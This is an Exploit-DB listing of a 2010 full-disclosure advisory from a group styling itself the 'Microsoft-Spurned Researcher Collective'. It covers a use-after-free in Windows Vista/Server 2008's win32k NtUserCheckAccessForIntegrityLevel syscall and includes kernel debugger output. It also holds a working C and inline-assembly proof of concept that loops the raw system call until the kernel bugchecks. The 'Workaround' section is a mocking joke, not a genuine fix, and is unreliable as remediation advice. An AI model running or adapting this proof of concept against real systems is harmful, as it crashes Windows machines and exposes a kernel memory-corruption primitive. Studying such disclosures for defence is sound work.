Microsoft Windows Vista/2008 - NtUserCheckAccessForIntegrityLevel Use-After-Free

EDB-ID:

14156


Author:

MSRC

Type:

dos


Platform:

Windows

Date:

2010-07-01


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-after-free Vulnerability

Intro:

Due to hostility toward security researchers, the most recent example being of Tavis Ormandy, a number of us from the industry (and some not from the industry) have come together to form MSRC: the Microsoft-Spurned Researcher Collective.  MSRC will fully disclose vulnerability information discovered in our free time, free from retaliation against us or any inferred employer.

Vulnerability report:

win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008 calls LockProcessByClientId() on the specified ClientID. When this call fails, the refcount will be first decremented by nt!ObfDereferenceObject and then by win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a refcount leak.  The refcount leak can be abused to have an in-use process object deleted. (use-after-free)

Some debugging info:

kd> vertarget
Windows Server 2008 Kernel Version 6002 (SP2)
kd> LM m win32k
start    end        module name
8d460000 8d663000   win32k
kd> BA e 1 8d58d710 \"dt nt!_OBJECT_HEADER @edx PointerCount; g\"
kd> g
   +0x000 PointerCount : 145
   +0x000 PointerCount : 144
   +0x000 PointerCount : 143
...
   +0x000 PointerCount : 3
   +0x000 PointerCount : 2
   +0x000 PointerCount : 1
*** Fatal System Error: 0x00000018
kd> kc
nt!KeBugCheck2
nt!ObfDereferenceObject
win32k!NtUserCheckAccessForIntegrityLevel
nt!KiFastCallEntry

The vulnerability can be triggered in one line below, where 4 is just the PID of PsInitialSystemProcess.

while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL);

Since there's no exported stub for this system call, you'll have to craft the call manually. sysenter is your friend.

http://j00ru.vexillium.org/win32k_syscalls/

POC:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
    /* get us some win32k! */
    LoadLibrary("user32");
    while (1) {
        __asm {
           mov eax, LEAK_ME
           push 0
           push 0
           push 4
           lea edx, dword ptr [esp]
           int 0x2e
        }
     }
}

Workaround:

Microsoft can workaround these advisories by locating the following registry key: HKCU\\Microsoft\\Windows\\CurrentVersion\\Security and changing the "OurJob" boolean value to FALSE.

We at MSRC would like to help you, the users, work around this issue, but PatchGuard will not allow us ;-(

Current MSRC Members (alphabetical order!):
XX XXXXXX
XXXX XXXXXXXX
XXXXX XXX
XXXXXXX XXXXXXX
XXXXXX XXXXXXXXX
XXXXX XXXXXXXX

If you wish to responsibly disclose a vulnerability through full disclosure or want to join our team, fire off an email to: msrc-disclosure () hushmail com

We do have a vetting process by the way, for any Microsoft employees trying to join ;-)